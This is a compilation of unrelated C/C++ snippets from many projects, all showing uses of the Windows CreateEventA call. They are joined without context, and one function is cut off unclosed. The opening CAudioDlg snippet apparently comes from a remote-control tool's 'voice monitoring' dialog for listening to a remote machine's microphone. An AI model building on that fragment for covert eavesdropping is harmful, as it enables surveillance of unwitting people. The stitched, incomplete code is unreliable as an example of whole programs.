BOOL CAudioDlg::OnInitDialog()
{
CDialog::OnInitDialog();
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
CString str;
str.Format("\\\\%s - 语音监听", m_IPAddress);
SetWindowText(str);
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
m_hEventWaveIn = CreateEventA(NULL, false, false, NULL);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
g_WaveOut.StartPlay(); //开启语音播放
filter.MiInit(m_Micdatacurve.GetSafeHwnd(),16); //话筒画线初始化
filter.HoInit(m_Horndatacurve.GetSafeHwnd(),16); //喇叭画线初始化
m_HoMiEven = CreateEventA(NULL, false, false, NULL);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HoMiThread, (LPVOID)this, 0, NULL); //开启线程 显示波形
return true;
}
int CreateSystemEvents()
{
heServerExec = CreateEventA(NULL, FALSE, FALSE, EVENT_SERVER_EXEC);
heServerDone = CreateEventA(NULL, FALSE, FALSE, EVENT_SERVER_DONE);
heServerClose = CreateEventA(NULL, FALSE, FALSE, EVENT_SERVER_CLOSE);
heServerBufferFull = CreateEventA(NULL, FALSE, FALSE, EVENT_SERVER_BUFFERFULL);
return (heServerExec == NULL) || (heServerDone == NULL) || (heServerClose == NULL) || (heServerBufferFull == NULL);
}
nsresult
NamedPipeInfo::Connect(const nsACString& aPath)
{
MOZ_ASSERT(PR_GetCurrentThread() == gSocketThread);
HANDLE pipe;
nsAutoCString path(aPath);
pipe = CreateFileA(path.get(),
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED,
nullptr);
if (pipe == INVALID_HANDLE_VALUE) {
LOG_NPIO_ERROR("[%p] CreateFile error (%d)", this, GetLastError());
return NS_ERROR_FAILURE;
}
DWORD pipeMode = PIPE_READMODE_MESSAGE;
if (!SetNamedPipeHandleState(pipe, &pipeMode, nullptr, nullptr)) {
LOG_NPIO_ERROR("[%p] SetNamedPipeHandleState error (%d)",
this,
GetLastError());
CloseHandle(pipe);
return NS_ERROR_FAILURE;
}
nsresult rv = mNamedPipeService->AddDataObserver(pipe, this);
if (NS_WARN_IF(NS_FAILED(rv))) {
CloseHandle(pipe);
return rv;
}
HANDLE readEvent = CreateEventA(nullptr, TRUE, TRUE, "NamedPipeRead");
if (NS_WARN_IF(!readEvent || readEvent == INVALID_HANDLE_VALUE)) {
CloseHandle(pipe);
return NS_ERROR_FAILURE;
}
HANDLE writeEvent = CreateEventA(nullptr, TRUE, TRUE, "NamedPipeWrite");
if (NS_WARN_IF(!writeEvent || writeEvent == INVALID_HANDLE_VALUE)) {
CloseHandle(pipe);
CloseHandle(readEvent);
return NS_ERROR_FAILURE;
}
mPipe = pipe;
mReadOverlapped.hEvent = readEvent;
mWriteOverlapped.hEvent = writeEvent;
return NS_OK;
}
static void test_thread_objects(void)
{
LOGPEN lp;
DWORD tid, type;
HANDLE hthread;
struct hgdiobj_event hgdiobj_event;
INT ret;
DWORD status;
BOOL bRet;
hgdiobj_event.stop_event = CreateEventA(NULL, 0, 0, NULL);
ok(hgdiobj_event.stop_event != NULL, "CreateEvent error %u\n", GetLastError());
hgdiobj_event.ready_event = CreateEventA(NULL, 0, 0, NULL);
ok(hgdiobj_event.ready_event != NULL, "CreateEvent error %u\n", GetLastError());
hthread = CreateThread(NULL, 0, thread_proc, &hgdiobj_event, 0, &tid);
ok(hthread != NULL, "CreateThread error %u\n", GetLastError());
status = WaitForSingleObject(hgdiobj_event.ready_event, INFINITE);
ok(status == WAIT_OBJECT_0, "WaitForSingleObject error %u\n", GetLastError());
ret = GetObjectA(hgdiobj_event.hgdiobj1, sizeof(lp), &lp);
ok(ret == sizeof(lp), "GetObject error %u\n", GetLastError());
ok(lp.lopnStyle == PS_DASHDOTDOT, "wrong pen style %d\n", lp.lopnStyle);
ok(lp.lopnWidth.x == 17, "wrong pen width.y %d\n", lp.lopnWidth.x);
ok(lp.lopnWidth.y == 0, "wrong pen width.y %d\n", lp.lopnWidth.y);
ok(lp.lopnColor == RGB(1, 2, 3), "wrong pen width.y %08x\n", lp.lopnColor);
ret = GetDeviceCaps(hgdiobj_event.hdc, TECHNOLOGY);
ok(ret == DT_RASDISPLAY, "GetDeviceCaps(TECHNOLOGY) should return DT_RASDISPLAY not %d\n", ret);
bRet = DeleteObject(hgdiobj_event.hgdiobj1);
ok(bRet, "DeleteObject error %u\n", GetLastError());
bRet = DeleteDC(hgdiobj_event.hdc);
ok(bRet, "DeleteDC error %u\n", GetLastError());
type = GetObjectType(hgdiobj_event.hgdiobj2);
ok(type == OBJ_REGION, "GetObjectType returned %u\n", type);
SetEvent(hgdiobj_event.stop_event);
status = WaitForSingleObject(hthread, INFINITE);
ok(status == WAIT_OBJECT_0, "WaitForSingleObject error %u\n", GetLastError());
CloseHandle(hthread);
type = GetObjectType(hgdiobj_event.hgdiobj2);
ok(type == OBJ_REGION, "GetObjectType returned %u\n", type);
bRet = DeleteObject(hgdiobj_event.hgdiobj2);
ok(bRet, "DeleteObject error %u\n", GetLastError());
CloseHandle(hgdiobj_event.stop_event);
CloseHandle(hgdiobj_event.ready_event);
}
static void get_events(const char* name, HANDLE *start_event, HANDLE *done_event)
{
const char* basename;
char* event_name;
basename=strrchr(name, '\\');
basename=(basename ? basename+1 : name);
event_name=HeapAlloc(GetProcessHeap(), 0, 6+strlen(basename)+1);
sprintf(event_name, "start_%s", basename);
*start_event=CreateEventA(NULL, 0,0, event_name);
sprintf(event_name, "done_%s", basename);
*done_event=CreateEventA(NULL, 0,0, event_name);
HeapFree(GetProcessHeap(), 0, event_name);
}
void COptex::CommonConstructor(DWORD dwSpinCount,
BOOL fUnicode, PVOID pszName) {
if (sm_fUniprocessorHost == -1) {
// This is the 1st object constructed, get the number of CPUs
SYSTEM_INFO sinf;
GetSystemInfo(&sinf);
sm_fUniprocessorHost = (sinf.dwNumberOfProcessors == 1);
}
m_hevt = m_hfm = NULL;
m_psi = NULL;
if (pszName == NULL) { // Creating a single-process optex
m_hevt = CreateEventA(NULL, FALSE, FALSE, NULL);
chASSERT(m_hevt != NULL);
m_psi = new SHAREDINFO;
chASSERT(m_psi != NULL);
ZeroMemory(m_psi, sizeof(*m_psi));
} else { // Creating a cross-process optex
// Always use ANSI so that this works on Win9x and Windows 2000
char szResult[100];
ConstructObjectName(szResult, "Optex_Event_", fUnicode, pszName);
m_hevt = CreateEventA(NULL, FALSE, FALSE, szResult);
chASSERT(m_hevt != NULL);
ConstructObjectName(szResult, "Optex_MMF_", fUnicode, pszName);
m_hfm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL,
PAGE_READWRITE, 0, sizeof(*m_psi), szResult);
chASSERT(m_hfm != NULL);
m_psi = (PSHAREDINFO) MapViewOfFile(m_hfm,
FILE_MAP_WRITE, 0, 0, 0);
chASSERT(m_psi != NULL);
// Note: SHAREDINFO's m_lLockCount, m_dwThreadId, and m_lRecurseCount
// members need to be initialized to 0. Fortunately, a new pagefile
// MMF sets all of its data to 0 when created. This saves use from
// some thread synchronization work.
}
SetSpinCount(dwSpinCount);
}
void eventProcessingThread() {
std::string eventName = getShutdownSignalName(ProcessId::getCurrent().asUInt32());
HANDLE event = CreateEventA(NULL, TRUE, FALSE, eventName.c_str());
if (event == NULL) {
warning() << "eventProcessingThread CreateEvent failed: "
<< errnoWithDescription();
return;
}
ON_BLOCK_EXIT(CloseHandle, event);
int returnCode = WaitForSingleObject(event, INFINITE);
if (returnCode != WAIT_OBJECT_0) {
if (returnCode == WAIT_FAILED) {
warning() << "eventProcessingThread WaitForSingleObject failed: "
<< errnoWithDescription();
return;
}
else {
warning() << "eventProcessingThread WaitForSingleObject failed: "
<< errnoWithDescription(returnCode);
return;
}
}
Client::initThread("eventTerminate");
log() << "shutdown event signaled, will terminate after current cmd ends";
exitCleanly(EXIT_CLEAN);
}
void WriteOnNamedSignal(const char *name, uint32_t *addr)
{
HANDLE m_namedSharedObject;
SECURITY_DESCRIPTOR sd;
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(&sd, TRUE, 0, FALSE);
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = FALSE;
sa.lpSecurityDescriptor = &sd;
m_namedSharedObject = CreateEventA(&sa, FALSE, FALSE, name);
if(m_namedSharedObject == NULL){
LPVOID lpMsgBuf;
FormatMessageA( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
(LPSTR) &lpMsgBuf, 0, NULL );
fputs((const char*)lpMsgBuf, stderr);
return;
}
sig_data = new SignalData(addr, m_namedSharedObject);
spyRunning = true;
CreateThread(NULL, 0, WaitForMemorySignal, NULL, 0, NULL);
}
/***********************************************************************
* HEAP_CreateSystemHeap
*
* Create the system heap.
*/
static inline HANDLE HEAP_CreateSystemHeap(void)
{
int created;
void *base;
HANDLE map, event;
/* create the system heap event first */
event = CreateEventA( NULL, TRUE, FALSE, "__wine_system_heap_event" );
if (!(map = CreateFileMappingA( INVALID_HANDLE_VALUE, NULL, SEC_COMMIT | PAGE_READWRITE,
0, SYSTEM_HEAP_SIZE, "__wine_system_heap" ))) return 0;
created = (GetLastError() != ERROR_ALREADY_EXISTS);
if (!(base = MapViewOfFileEx( map, FILE_MAP_ALL_ACCESS, 0, 0, 0, SYSTEM_HEAP_BASE )))
{
/* pre-defined address not available */
ERR( "system heap base address %p not available\n", SYSTEM_HEAP_BASE );
return 0;
}
if (created) /* newly created heap */
{
systemHeap = RtlCreateHeap( HEAP_SHARED, base, SYSTEM_HEAP_SIZE,
SYSTEM_HEAP_SIZE, NULL, NULL );
SetEvent( event );
}
else
{
/* wait for the heap to be initialized */
WaitForSingleObject( event, INFINITE );
systemHeap = base;
}
CloseHandle( map );
return systemHeap;
}
BOOL android_event_queue_init(freerdp* inst)
{
androidContext* aCtx = (androidContext*)inst->context;
ANDROID_EVENT_QUEUE* queue;
queue = (ANDROID_EVENT_QUEUE*) calloc(1, sizeof(ANDROID_EVENT_QUEUE));
if (!queue)
{
WLog_ERR(TAG, "android_event_queue_init: memory allocation failed");
return FALSE;
}
queue->size = 16;
queue->count = 0;
queue->isSet = CreateEventA(NULL, TRUE, FALSE, NULL);
if (!queue->isSet)
{
free(queue);
return FALSE;
}
queue->events = (ANDROID_EVENT**) calloc(sizeof(ANDROID_EVENT*), queue->size);
if (!queue->events)
{
WLog_ERR(TAG, "android_event_queue_init: memory allocation failed");
CloseHandle(queue->isSet);
free(queue);
return FALSE;
}
aCtx->event_queue = queue;
return TRUE;
}
static HANDLE create_event(int sig, BOOL initial, BOOL errmsg, BOOL * exists)
{
char name[EVT_NAME_LEN];
HANDLE h;
if (sig >= 0)
make_name(name, sig);
else
name[0] = 0;
if (exists)
*exists = FALSE;
if (!(h = CreateEventA(NULL, FALSE, initial, (name[0] ? name : NULL)))) {
if (errmsg)
fprintf(stderr, "CreateEvent(.,\"%s\"): Error=%ld\n", name, GetLastError());
return 0;
}
if (GetLastError() == ERROR_ALREADY_EXISTS) {
if (!exists) {
if (errmsg)
fprintf(stderr, "CreateEvent(.,\"%s\"): Exists\n", name);
CloseHandle(h);
return 0;
}
*exists = TRUE;
}
return h;
}
static NTSTATUS get_device_id(DEVICE_OBJECT *device, BUS_QUERY_ID_TYPE type, WCHAR **id)
{
NTSTATUS status;
IO_STACK_LOCATION *irpsp;
IO_STATUS_BLOCK irp_status;
HANDLE event;
IRP *irp;
irp = IoBuildSynchronousFsdRequest(IRP_MJ_PNP, device, NULL, 0, NULL, NULL, &irp_status);
if (irp == NULL)
return STATUS_NO_MEMORY;
irp->UserEvent = event = CreateEventA(NULL, FALSE, FALSE, NULL);
irpsp = IoGetNextIrpStackLocation(irp);
irpsp->MinorFunction = IRP_MN_QUERY_ID;
irpsp->Parameters.QueryId.IdType = type;
irpsp->CompletionRoutine = internalComplete;
irpsp->Control = SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_ERROR;
IoCallDriver(device, irp);
if (irp->IoStatus.u.Status == STATUS_PENDING)
WaitForSingleObject(event, INFINITE);
*id = (WCHAR*)irp->IoStatus.Information;
status = irp->IoStatus.u.Status;
IoCompleteRequest(irp, IO_NO_INCREMENT );
CloseHandle(event);
return status;
}
static void service_process(void (WINAPI *p_service_main)(DWORD, char **))
{
BOOL res;
SERVICE_TABLE_ENTRYA servtbl[] = {
{service_name, p_service_main},
{NULL, NULL}
};
res = WaitNamedPipeA(named_pipe_name, NMPWAIT_USE_DEFAULT_WAIT);
if(!res)
return;
pipe_handle = CreateFileA(named_pipe_name, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(pipe_handle == INVALID_HANDLE_VALUE)
return;
service_trace("Starting...");
service_stop_event = CreateEventA(NULL, TRUE, FALSE, NULL);
service_ok(service_stop_event != NULL, "Could not create event: %u\n", GetLastError());
if(!service_stop_event)
return;
res = StartServiceCtrlDispatcherA(servtbl);
service_ok(res, "StartServiceCtrlDispatcher failed: %u\n", GetLastError());
/* Let service thread terminate */
Sleep(50);
CloseHandle(service_stop_event);
CloseHandle(pipe_handle);
}
static void test_runner(void (*p_run_test)(void))
{
HANDLE thread;
sprintf(service_name, "WineTestService%d", GetTickCount());
trace("service_name: %s\n", service_name);
sprintf(named_pipe_name, "\\\\.\\pipe\\%s_pipe", service_name);
pipe_handle = CreateNamedPipeA(named_pipe_name, PIPE_ACCESS_INBOUND,
PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT, 10, 2048, 2048, 10000, NULL);
ok(pipe_handle != INVALID_HANDLE_VALUE, "CreateNamedPipe failed: %u\n", GetLastError());
if(pipe_handle == INVALID_HANDLE_VALUE)
return;
InitializeCriticalSection(&event_cs);
event_handle = CreateEventA(NULL, FALSE, FALSE, NULL);
ok(event_handle != INVALID_HANDLE_VALUE, "CreateEvent failed: %u\n", GetLastError());
if(event_handle == INVALID_HANDLE_VALUE)
return;
thread = CreateThread(NULL, 0, pipe_thread, NULL, 0, NULL);
ok(thread != NULL, "CreateThread failed: %u\n", GetLastError());
if(!thread)
return;
p_run_test();
WaitForSingleObject(thread, INFINITE);
CloseHandle(event_handle);
CloseHandle(pipe_handle);
}
bool CheckSingleInstance()
{
char moduleFileName[_MAX_PATH];
GetModuleFileNameA(NULL, moduleFileName, _MAX_PATH - 1);
for (char *p = moduleFileName; *p; p++)
{
if (*p == ':' || *p == '\\') *p = '_';
}
std::string mappingName = std::string("IntelliJLauncherMapping.") + moduleFileName;
std::string eventName = std::string("IntelliJLauncherEvent.") + moduleFileName;
hEvent = CreateEventA(NULL, FALSE, FALSE, eventName.c_str());
hFileMapping = OpenFileMappingA(FILE_MAP_ALL_ACCESS, FALSE, mappingName.c_str());
if (!hFileMapping)
{
hFileMapping = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, FILE_MAPPING_SIZE,
mappingName.c_str());
return true;
}
else
{
SendCommandLineToFirstInstance();
CloseHandle(hFileMapping);
CloseHandle(hEvent);
return false;
}
}
static void o_Reuse(PKOVL_HANDLE_INTERNAL overlapped)
{
if (!overlapped->Overlapped.hEvent)
overlapped->Overlapped.hEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
else
ResetEvent(overlapped->Overlapped.hEvent);
}
Condition::Condition()
: _wait(0) {
# ifdef WIN32
_event = CreateEventA(0, TRUE, FALSE, 0);
# else
pthread_cond_init(&_cond, 0);
# endif // WIN32
}
tb_event_ref_t tb_event_init()
{
// create event
HANDLE event = CreateEventA(tb_null, FALSE, FALSE, tb_null);
// ok?
return ((event != INVALID_HANDLE_VALUE)? (tb_event_ref_t)event : tb_null);
}
Signal::Signal(int count)
{
signalCount = count;
for (int a = 0; a < count; a++)
{
signalEvent[a] = CreateEventA(nullptr, false, false, nullptr);
}
}
IPC::IPC()
{
s = NULL;
string name = prefix() + "mem";
hMem = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, N_SLOTS * sizeof(unsigned), name.c_str());
if (hMem)
s = (unsigned*)MapViewOfFile(hMem, FILE_MAP_ALL_ACCESS, 0, 0, 0);
if (s)
memset(s, 0, N_SLOTS * sizeof(unsigned));
name = prefix() + "mutex";
hMutex = CreateMutexA(NULL, FALSE, name.c_str());
name = prefix() + "in";
hEventIn = CreateEventA(NULL, TRUE, FALSE, name.c_str());
name = prefix() + "out";
hEventOut = CreateEventA(NULL, TRUE, FALSE, name.c_str());
bExit = false;
start();
}
QWindowsFileSystemWatcherEngine::QWindowsFileSystemWatcherEngine()
: msg(0)
{
HANDLE h = QT_WA_INLINE(CreateEventW(0, false, false, 0),
CreateEventA(0, false, false, 0));
if (h != INVALID_HANDLE_VALUE) {
handles.reserve(MAXIMUM_WAIT_OBJECTS);
handles.append(h);
}
}
// Starts the monitoring thread
static bool StartMonitor()
{
dwThreadID = GetCurrentThreadId();
hEventShutdown = CreateEventA(0, false, false, 0);
if (hEventShutdown == 0)
return false;
DWORD dwThreadID;
HANDLE h = CreateThread(0, 0, MonitorProc, 0, 0, &dwThreadID);
return (h != NULL);
}
QEventDispatcherWin32Private::QEventDispatcherWin32Private()
: threadId(GetCurrentThreadId()), interrupt(false), internalHwnd(0)
{
resolveTimerAPI();
wakeUpNotifier.setHandle(QT_WA_INLINE(CreateEventW(0, FALSE, FALSE, 0),
CreateEventA(0, FALSE, FALSE, 0)));
if (!wakeUpNotifier.handle())
qWarning("QEventDispatcher: Creating QEventDispatcherWin32Private wakeup event failed");
}
void dgThreads::CreateThreaded(dgInt32 threads)
{
if (m_numOfThreads)
{
DestroydgThreads();
}
#ifdef _WIN32
if ((threads > 1) && (m_numberOfCPUCores > 1))
{
m_numOfThreads = GetMin(threads, m_numberOfCPUCores);
m_emptySlot = CreateSemaphoreA(NULL, DG_MAXQUEUE, DG_MAXQUEUE, NULL);
m_workToDo = CreateSemaphoreA(NULL, 0, DG_MAXQUEUE, NULL);
m_exit = CreateEventA(NULL, TRUE, FALSE, NULL);
InitializeCriticalSection(&m_criticalSection);
m_topIndex = 0;
m_bottomIndex = 0;
m_workInProgress = 0;
for (dgInt32 i = 0; i < m_numOfThreads; i++)
{
m_threadhandles[i] = (HANDLE) _beginthreadex(NULL, 0, ThreadExecute,
&m_localData[i], 0, NULL);
}
}
#else
if ((threads > 1) && (m_numberOfCPUCores > 1))
{
#ifdef TARGET_OS_IPHONE
m_numOfThreads = 0;
#else
m_numOfThreads = (threads<m_numberOfCPUCores ? threads : m_numberOfCPUCores);
#endif
m_emptySlot = DG_MAXQUEUE;
m_workToDo = 0;
m_workToDoSpinLock = 0;
m_exit = false;
m_criticalSection = 0;
m_topIndex = 0;
m_bottomIndex = 0;
m_workInProgress = 0;
#ifndef TARGET_OS_IPHONE
for(dgInt32 i=0; i < m_numOfThreads; i++)
{
pthread_create( &m_threadhandles[i], NULL, ThreadExecute, &m_localData[i]);
}
#endif
}
#endif
}
//! Default constructor
BOOST_LOG_API winapi_based_event::winapi_based_event() :
m_state(0),
m_event(CreateEventA(NULL, false, false, NULL))
{
if (!m_event)
{
const DWORD err = GetLastError();
BOOST_THROW_EXCEPTION(system::system_error(
err, system::system_category(), "Failed to create Windows event"));
}
}
void FileWatcher::Init(const char* path)
{
strcpy_s(s_fileWatcher.path, path);
s_fileWatcher.pathLen = (uint)strlen(s_fileWatcher.path);
s_fileWatcher.nextListenerId = 1;
s_fileWatcher.hCallbackEvent = CreateEventA(nullptr, false, false, nullptr);
s_fileWatcher.hChangedTimer = Timer::Create();
s_fileWatcher.listenerThread = std::thread(fileWatcherListenerThread);
s_fileWatcher.callbackThread = std::thread(fileWatcherCallbackThread);
}
IEventSignal *WinThreader::MakeEventSignal()
{
HANDLE event = CreateEventA(NULL, FALSE, FALSE, NULL);
if (!event)
return NULL;
WinEvent *pEvent = new WinEvent(event);
return pEvent;
}
static void CreateIdentifyingEvent()
{
char buf[32];
auto pid = GetCurrentProcessId();
snprintf(buf, sizeof buf, "Teippi #%d", pid);
CreateEventA(NULL, FALSE, FALSE, buf);
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
// Maybe should silently abort patching?
MessageBoxA(0, "Second copy of Teippi has been loaded to same process.\n\
Crashing is very likely.", "Very important warning", 0);
}
void InitSettings(void)
{
char fname[_MAX_FNAME+MAX_PATH], scriptPath[_MAX_PATH],
defaultStarter[_MAX_FNAME], defaultGame[_MAX_FNAME], debug[6],
quitOnHostile[6], quitOnError[6], maxGameTime[6], gameTimeout[6],
startAtMenu[6], disableCache[6], memUsage[6], gamePrint[6],
useProfilePath[6], logConsole[6], enableUnsupported[6],
forwardMessageBox[6], consoleFont[6];
sprintf_s(fname, sizeof(fname), "%sd2bs.ini", Vars.szPath);
GetPrivateProfileString("settings", "ScriptPath", "scripts", scriptPath, _MAX_PATH, fname);
GetPrivateProfileString("settings", "DefaultGameScript", "default.dbj", defaultGame, _MAX_FNAME, fname);
GetPrivateProfileString("settings", "DefaultStarterScript", "starter.dbj", defaultStarter, _MAX_FNAME, fname);
GetPrivateProfileString("settings", "MaxGameTime", "0", maxGameTime, 6, fname);
GetPrivateProfileString("settings", "Debug", "false", debug, 6, fname);
GetPrivateProfileString("settings", "QuitOnHostile", "false", quitOnHostile, 6, fname);
GetPrivateProfileString("settings", "QuitOnError", "false", quitOnError, 6, fname);
GetPrivateProfileString("settings", "StartAtMenu", "true", startAtMenu, 6, fname);
GetPrivateProfileString("settings", "DisableCache", "true", disableCache, 6, fname);
GetPrivateProfileString("settings", "MemoryLimit", "100", memUsage, 6, fname);
GetPrivateProfileString("settings", "UseGamePrint", "false", gamePrint, 6, fname);
GetPrivateProfileString("settings", "GameReadyTimeout", "5", gameTimeout, 6, fname);
GetPrivateProfileString("settings", "UseProfileScript", "false", useProfilePath, 6, fname);
GetPrivateProfileString("settings", "LogConsoleOutput", "false", logConsole, 6, fname);
GetPrivateProfileString("settings", "EnableUnsupported", "false", enableUnsupported, 6, fname);
GetPrivateProfileString("settings", "ForwardMessageBox", "false", forwardMessageBox, 6, fname);
GetPrivateProfileString("settings", "ConsoleFont", "0", consoleFont, 6, fname);
sprintf_s(Vars.szScriptPath, _MAX_PATH, "%s%s", Vars.szPath, scriptPath);
strcpy_s(Vars.szStarter, _MAX_FNAME, defaultStarter);
strcpy_s(Vars.szDefault, _MAX_FNAME, defaultGame);
Vars.dwGameTime = GetTickCount();
Vars.dwMaxGameTime = abs(atoi(maxGameTime) * 1000);
Vars.dwGameTimeout = abs(atoi(gameTimeout) * 1000);
Vars.bQuitOnHostile = StringToBool(quitOnHostile);
Vars.bQuitOnError = StringToBool(quitOnError);
Vars.bStartAtMenu = StringToBool(startAtMenu);
Vars.bDisableCache = StringToBool(disableCache);
Vars.bUseGamePrint = StringToBool(gamePrint);
Vars.bUseProfileScript = StringToBool(useProfilePath);
Vars.bLogConsole = StringToBool(logConsole);
Vars.bEnableUnsupported = StringToBool(enableUnsupported);
Vars.bForwardMessageBox = StringToBool(forwardMessageBox);
Vars.eventSignal = CreateEventA(false, true, false, nullptr);
Vars.dwMemUsage = abs(atoi(memUsage));
Vars.dwConsoleFont = abs(atoi(consoleFont));
if(Vars.dwMemUsage < 1)
Vars.dwMemUsage = 50;
Vars.dwMemUsage *= 1024*1024;
Vars.oldWNDPROC = NULL;
}
HOOKFUNC HANDLE WINAPI MyCreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName)
{
// TODO: disabling this makes the DirectMusic timer somewhat saveable... what drives that timer??
HANDLE rv = CreateEventA(lpEventAttributes, bManualReset, bInitialState, lpName);
debuglog(LCF_SYNCOBJ | LCF_TODO, __FUNCTION__ " returned 0x%X.\n", rv);
//verbosedebugprintf("%d %d %s\n", bManualReset, bInitialState, lpName);
EnterCriticalSection(&s_handleCS);
std::set<HANDLE>& handles = s_threadIdHandles[GetCurrentThreadId()];
handles.insert(rv);
LeaveCriticalSection(&s_handleCS);
return rv;
}
